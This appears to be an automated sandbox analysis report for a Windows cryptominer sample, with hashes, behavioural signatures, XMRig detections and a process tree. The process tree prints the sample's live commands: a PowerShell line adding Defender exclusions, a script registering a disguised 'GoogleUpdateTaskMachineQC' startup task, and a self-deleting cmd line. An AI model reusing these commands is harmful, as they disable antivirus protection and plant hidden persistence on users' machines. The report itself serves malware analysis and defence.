Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1802s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
EtPLMpbCyFJpMJr7.exeupdater.execonhost.exedescription pid Process procid_target PID 4616 created 3636 4616 EtPLMpbCyFJpMJr7.exe 47 PID 4616 created 3636 4616 EtPLMpbCyFJpMJr7.exe 47 PID 4616 created 3636 4616 EtPLMpbCyFJpMJr7.exe 47 PID 4616 created 3636 4616 EtPLMpbCyFJpMJr7.exe 47 PID 2608 created 3636 2608 updater.exe 47 PID 2608 created 3636 2608 updater.exe 47 PID 2608 created 3636 2608 updater.exe 47 PID 4388 created 3636 4388 conhost.exe 47 PID 2608 created 3636 2608 updater.exe 47 -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral12/memory/3708-126-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-130-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-131-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-133-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-136-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-139-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-141-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-143-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-149-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-151-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-153-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-155-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-157-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-159-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-161-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-163-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-165-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-167-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-169-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-171-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-173-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-175-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-177-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-179-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-181-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-183-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-185-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-187-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-189-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig behavioral12/memory/3708-191-0x00007FF613350000-0x00007FF613B44000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid Process 2608 updater.exe -
Processes:
resource yara_rule behavioral12/memory/3708-119-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-126-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-130-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-131-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-133-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-136-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-139-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-141-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-143-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-149-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-151-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-153-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-155-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-157-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-159-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-161-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-163-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-165-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-167-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-169-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-171-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-173-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-175-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-177-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-179-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-181-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-183-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-185-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-187-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-189-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx behavioral12/memory/3708-191-0x00007FF613350000-0x00007FF613B44000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid Process procid_target PID 2608 set thread context of 4388 2608 updater.exe 117 PID 2608 set thread context of 3708 2608 updater.exe 118 -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exeEtPLMpbCyFJpMJr7.exeupdater.exedescription ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe EtPLMpbCyFJpMJr7.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
EtPLMpbCyFJpMJr7.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid Process 4616 EtPLMpbCyFJpMJr7.exe 4616 EtPLMpbCyFJpMJr7.exe 868 powershell.exe 868 powershell.exe 4616 EtPLMpbCyFJpMJr7.exe 4616 EtPLMpbCyFJpMJr7.exe 1212 powershell.exe 1212 powershell.exe 4616 EtPLMpbCyFJpMJr7.exe 4616 EtPLMpbCyFJpMJr7.exe 4616 EtPLMpbCyFJpMJr7.exe 4616 EtPLMpbCyFJpMJr7.exe 3552 powershell.exe 3552 powershell.exe 2608 updater.exe 2608 updater.exe 3384 powershell.exe 3384 powershell.exe 2608 updater.exe 2608 updater.exe 3968 powershell.exe 3968 powershell.exe 2608 updater.exe 2608 updater.exe 2608 updater.exe 2608 updater.exe 4388 conhost.exe 4388 conhost.exe 2608 updater.exe 2608 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 868 powershell.exe Token: SeDebugPrivilege 1212 powershell.exe Token: SeIncreaseQuotaPrivilege 1212 powershell.exe Token: SeSecurityPrivilege 1212 powershell.exe Token: SeTakeOwnershipPrivilege 1212 powershell.exe Token: SeLoadDriverPrivilege 1212 powershell.exe Token: SeSystemProfilePrivilege 1212 powershell.exe Token: SeSystemtimePrivilege 1212 powershell.exe Token: SeProfSingleProcessPrivilege 1212 powershell.exe Token: SeIncBasePriorityPrivilege 1212 powershell.exe Token: SeCreatePagefilePrivilege 1212 powershell.exe Token: SeBackupPrivilege 1212 powershell.exe Token: SeRestorePrivilege 1212 powershell.exe Token: SeShutdownPrivilege 1212 powershell.exe Token: SeDebugPrivilege 1212 powershell.exe Token: SeSystemEnvironmentPrivilege 1212 powershell.exe Token: SeRemoteShutdownPrivilege 1212 powershell.exe Token: SeUndockPrivilege 1212 powershell.exe Token: SeManageVolumePrivilege 1212 powershell.exe Token: 33 1212 powershell.exe Token: 34 1212 powershell.exe Token: 35 1212 powershell.exe Token: 36 1212 powershell.exe Token: SeIncreaseQuotaPrivilege 1212 powershell.exe Token: SeSecurityPrivilege 1212 powershell.exe Token: SeTakeOwnershipPrivilege 1212 powershell.exe Token: SeLoadDriverPrivilege 1212 powershell.exe Token: SeSystemProfilePrivilege 1212 powershell.exe Token: SeSystemtimePrivilege 1212 powershell.exe Token: SeProfSingleProcessPrivilege 1212 powershell.exe Token: SeIncBasePriorityPrivilege 1212 powershell.exe Token: SeCreatePagefilePrivilege 1212 powershell.exe Token: SeBackupPrivilege 1212 powershell.exe Token: SeRestorePrivilege 1212 powershell.exe Token: SeShutdownPrivilege 1212 powershell.exe Token: SeDebugPrivilege 1212 powershell.exe Token: SeSystemEnvironmentPrivilege 1212 powershell.exe Token: SeRemoteShutdownPrivilege 1212 powershell.exe Token: SeUndockPrivilege 1212 powershell.exe Token: SeManageVolumePrivilege 1212 powershell.exe Token: 33 1212 powershell.exe Token: 34 1212 powershell.exe Token: 35 1212 powershell.exe Token: 36 1212 powershell.exe Token: SeIncreaseQuotaPrivilege 1212 powershell.exe Token: SeSecurityPrivilege 1212 powershell.exe Token: SeTakeOwnershipPrivilege 1212 powershell.exe Token: SeLoadDriverPrivilege 1212 powershell.exe Token: SeSystemProfilePrivilege 1212 powershell.exe Token: SeSystemtimePrivilege 1212 powershell.exe Token: SeProfSingleProcessPrivilege 1212 powershell.exe Token: SeIncBasePriorityPrivilege 1212 powershell.exe Token: SeCreatePagefilePrivilege 1212 powershell.exe Token: SeBackupPrivilege 1212 powershell.exe Token: SeRestorePrivilege 1212 powershell.exe Token: SeShutdownPrivilege 1212 powershell.exe Token: SeDebugPrivilege 1212 powershell.exe Token: SeSystemEnvironmentPrivilege 1212 powershell.exe Token: SeRemoteShutdownPrivilege 1212 powershell.exe Token: SeUndockPrivilege 1212 powershell.exe Token: SeManageVolumePrivilege 1212 powershell.exe Token: 33 1212 powershell.exe Token: 34 1212 powershell.exe Token: 35 1212 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid Process procid_target PID 3304 wrote to memory of 2624 3304 cmd.exe 102 PID 3304 wrote to memory of 2624 3304 cmd.exe 102 PID 3552 wrote to memory of 3680 3552 powershell.exe 105 PID 3552 wrote to memory of 3680 3552 powershell.exe 105 PID 2608 wrote to memory of 4388 2608 updater.exe 117 PID 2292 wrote to memory of 220 2292 cmd.exe 114 PID 2292 wrote to memory of 220 2292 cmd.exe 114 PID 2608 wrote to memory of 3708 2608 updater.exe 118 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3636
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:868
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1212
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3304
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3680
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3384
